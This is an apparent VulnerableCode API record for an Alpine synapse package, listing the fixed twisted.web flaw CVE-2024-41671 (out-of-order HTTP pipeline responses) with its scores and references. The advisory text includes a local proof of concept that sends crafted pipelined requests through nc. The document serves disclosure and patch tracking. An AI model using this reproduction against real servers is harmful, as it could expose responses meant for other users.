Package Instance
Lookup for vulnerable packages by Package URL.
GET /api/packages/404955?format=api
{ "url": "http://public2.vulnerablecode.io/api/packages/404955?format=api", "purl": "pkg:apk/alpine/synapse@1.112.0-r0?arch=s390x&distroversion=v3.22&reponame=community", "type": "apk", "namespace": "alpine", "name": "synapse", "version": "1.112.0-r0", "qualifiers": { "arch": "s390x", "distroversion": "v3.22", "reponame": "community" }, "subpath": "", "is_vulnerable": false, "next_non_vulnerable_version": "1.120.2-r0", "latest_non_vulnerable_version": "1.139.2-r0", "affected_by_vulnerabilities": [], "fixing_vulnerabilities": [ { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/17752?format=api", "vulnerability_id": "VCID-vz8r-fhqf-zudf", "summary": "twisted.web has disordered HTTP pipeline response\n### Summary\n\nThe HTTP 1.0 and 1.1 server provided by twisted.web could process pipelined HTTP requests out-of-order, possibly resulting in information disclosure.\n\n### PoC\n0. Start a fresh Debian container:\n```sh\ndocker run --workdir /repro --rm -it debian:bookworm-slim\n```\n1. Install twisted and its dependencies:\n```sh\napt -y update && apt -y install ncat git python3 python3-pip \\\n && git clone --recurse-submodules https://github.com/twisted/twisted \\\n && cd twisted \\\n && pip3 install --break-system-packages .\n```\n2. Run a twisted.web HTTP server that echos received requests' methods. e.g., the following:\n```python\nfrom twisted.web import server, resource\nfrom twisted.internet import reactor\n\nclass TheResource(resource.Resource):\n isLeaf = True\n\n def render_GET(self, request) -> bytes:\n return b\"GET\"\n\n def render_POST(self, request) -> bytes:\n return b\"POST\"\n\nsite = server.Site(TheResource())\nreactor.listenTCP(80, site)\nreactor.run()\n```\n3. Send it a POST request with a chunked message body, pipelined with another POST request, wait a second, then send a GET request on the same connection:\n```sh\n(printf 'POST / HTTP/1.1\\r\\nTransfer-Encoding: chunked\\r\\n\\r\\n0\\r\\n\\r\\nPOST / HTTP/1.1\\r\\nContent-Length: 0\\r\\n\\r\\n'; sleep 1; printf 'GET / HTTP/1.1\\r\\n\\r\\n'; sleep 1) | nc localhost 80\n```\n4. Observe that the responses arrive out of order:\n```\nHTTP/1.1 200 OK\nServer: TwistedWeb/24.3.0.post0\nDate: Tue, 09 Jul 2024 06:19:41 GMT\nContent-Length: 5\nContent-Type: text/html\n\nPOST\nHTTP/1.1 200 OK\nServer: TwistedWeb/24.3.0.post0\nDate: Tue, 09 Jul 2024 06:19:42 GMT\nContent-Length: 4\nContent-Type: text/html\n\nGET\nHTTP/1.1 200 OK\nServer: TwistedWeb/24.3.0.post0\nDate: Tue, 09 Jul 2024 06:19:42 GMT\nContent-Length: 5\nContent-Type: text/html\n\nPOST\n```\n\n### Impact\nSee [GHSA-xc8x-vp79-p3wm](https://github.com/twisted/twisted/security/advisories/GHSA-xc8x-vp79-p3wm). Further, for instances of twisted.web HTTP servers deployed behind reverse proxies that implement connection pooling, it may be possible for remote attackers to receive responses intended for other clients of the twisted.web server.", "references": [ { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2024-41671", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.00098", "scoring_system": "epss", "scoring_elements": "0.272", "published_at": "2026-04-04T12:55:00Z" }, { "value": "0.00098", "scoring_system": "epss", "scoring_elements": "0.27107", "published_at": "2026-04-09T12:55:00Z" }, { "value": "0.00098", "scoring_system": "epss", "scoring_elements": "0.27061", "published_at": "2026-04-08T12:55:00Z" }, { "value": "0.00098", "scoring_system": "epss", "scoring_elements": "0.26992", "published_at": "2026-04-07T12:55:00Z" }, { "value": "0.00098", "scoring_system": "epss", "scoring_elements": "0.27164", "published_at": "2026-04-02T12:55:00Z" }, { "value": "0.00108", "scoring_system": "epss", "scoring_elements": "0.29116", "published_at": "2026-04-11T12:55:00Z" }, { "value": "0.00108", "scoring_system": "epss", "scoring_elements": "0.2905", "published_at": "2026-04-16T12:55:00Z" }, { "value": "0.00108", "scoring_system": "epss", "scoring_elements": "0.29021", "published_at": "2026-04-13T12:55:00Z" }, { "value": "0.00108", "scoring_system": "epss", "scoring_elements": "0.29072", "published_at": "2026-04-12T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2024-41671" }, { "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-41671", "reference_id": "", "reference_type": "", "scores": [], "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-41671" }, { "reference_url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml", "reference_id": "", "reference_type": "", "scores": [ { "value": "8.6", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L" } ], "url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml" }, { "reference_url": "https://github.com/twisted/twisted", "reference_id": "", "reference_type": "", "scores": [ { "value": "8.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L" }, { "value": "6.9", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/twisted/twisted" }, { "reference_url": "https://github.com/twisted/twisted/commit/046a164f89a0f08d3239ecebd750360f8914df33", "reference_id": "", "reference_type": "", "scores": [ { "value": "8.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L" }, { "value": "6.9", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2024-07-29T18:59:07Z/" } ], "url": "https://github.com/twisted/twisted/commit/046a164f89a0f08d3239ecebd750360f8914df33" }, { "reference_url": "https://github.com/twisted/twisted/commit/4a930de12fb67e88fefcb8822104152f42b27abc", "reference_id": "", "reference_type": "", "scores": [ { "value": "8.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L" }, { "value": "6.9", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2024-07-29T18:59:07Z/" } ], "url": "https://github.com/twisted/twisted/commit/4a930de12fb67e88fefcb8822104152f42b27abc" }, { "reference_url": "https://github.com/twisted/twisted/security/advisories/GHSA-c8m8-j448-xjx7", "reference_id": "", "reference_type": "", "scores": [ { "value": "8.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L" }, { "value": "MODERATE", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" }, { "value": "6.9", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2024-07-29T18:59:07Z/" } ], "url": "https://github.com/twisted/twisted/security/advisories/GHSA-c8m8-j448-xjx7" }, { "reference_url": "https://lists.debian.org/debian-lts-announce/2024/11/msg00028.html", "reference_id": "", "reference_type": "", "scores": [ { "value": "8.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L" }, { "value": "6.9", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://lists.debian.org/debian-lts-announce/2024/11/msg00028.html" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2024-41671", "reference_id": "", "reference_type": "", "scores": [ { "value": "8.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L" }, { "value": "6.9", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-41671" }, { "reference_url": "https://www.vicarius.io/vsociety/posts/disordered-http-pipeline-in-twistedweb-cve-2024-4167", "reference_id": "", "reference_type": "", "scores": [ { "value": "8.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L" }, { "value": "6.9", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://www.vicarius.io/vsociety/posts/disordered-http-pipeline-in-twistedweb-cve-2024-4167" }, { "reference_url": "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1077679", "reference_id": "1077679", "reference_type": "", "scores": [], "url": "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1077679" }, { "reference_url": "https://github.com/advisories/GHSA-c8m8-j448-xjx7", "reference_id": "GHSA-c8m8-j448-xjx7", "reference_type": "", "scores": [ { "value": "MODERATE", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" } ], "url": "https://github.com/advisories/GHSA-c8m8-j448-xjx7" }, { "reference_url": "https://usn.ubuntu.com/6988-1/", "reference_id": "USN-6988-1", "reference_type": "", "scores": [], "url": "https://usn.ubuntu.com/6988-1/" }, { "reference_url": "https://usn.ubuntu.com/6988-2/", "reference_id": "USN-6988-2", "reference_type": "", "scores": [], "url": "https://usn.ubuntu.com/6988-2/" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/404955?format=api", "purl": "pkg:apk/alpine/synapse@1.112.0-r0?arch=s390x&distroversion=v3.22&reponame=community", "is_vulnerable": false, "affected_by_vulnerabilities": [], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:apk/alpine/synapse@1.112.0-r0%3Farch=s390x&distroversion=v3.22&reponame=community" } ], "aliases": [ "CVE-2024-41671", "GHSA-c8m8-j448-xjx7" ], "risk_score": 3.8, "exploitability": "0.5", "weighted_severity": "7.5", "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-vz8r-fhqf-zudf" } ], "risk_score": null, "resource_url": "http://public2.vulnerablecode.io/packages/pkg:apk/alpine/synapse@1.112.0-r0%3Farch=s390x&distroversion=v3.22&reponame=community" }